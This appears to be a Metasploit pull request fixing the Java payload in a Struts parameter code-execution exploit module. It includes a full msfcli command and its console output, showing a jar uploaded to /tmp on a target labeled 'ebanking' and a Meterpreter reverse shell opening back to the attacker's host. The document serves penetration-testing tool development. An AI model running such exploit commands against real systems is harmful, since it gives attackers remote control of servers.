fix java payload struts module

This fixes the JAVA payload in the struts_code_exec_parameters exploit as discussed with @jvazquez-r7 in #3343 and on IRC.

This lets the user change the output path of the uploaded binary. In my example the path was not writeable and so the JAVA target did not work correctly.

Output:
```
$ msfcli exploit/test PARAMETER=username RHOST=ebanking.XXXX RPORT=80 TARGETURI=/login/Login.action TARGET=2 LHOST=10.201.0.70 TMP_PATH=/tmp/ E
[*] Initializing modules...
PARAMETER => username
RHOST => ebanking.XXXX
RPORT => 80
TARGETURI => /login/Login.action
TARGET => 2
LHOST => 10.201.0.70
TMP_PATH => /tmp/
[*] Started reverse handler on 10.201.0.70:4444 
[*] ebanking.XXXX:80 - Uploading exploit to /tmp/uiGUly.jar
[*] ebanking.XXXX:80 - Executing payload
[*] Sending stage (30355 bytes) to 192.168.200.234
[*] Meterpreter session 1 opened (10.201.0.70:4444 -> 192.168.200.234:58517) at 2014-05-09 22:17:18 +0000
[+] Deleted /tmp/uiGUly.jar

meterpreter > 
```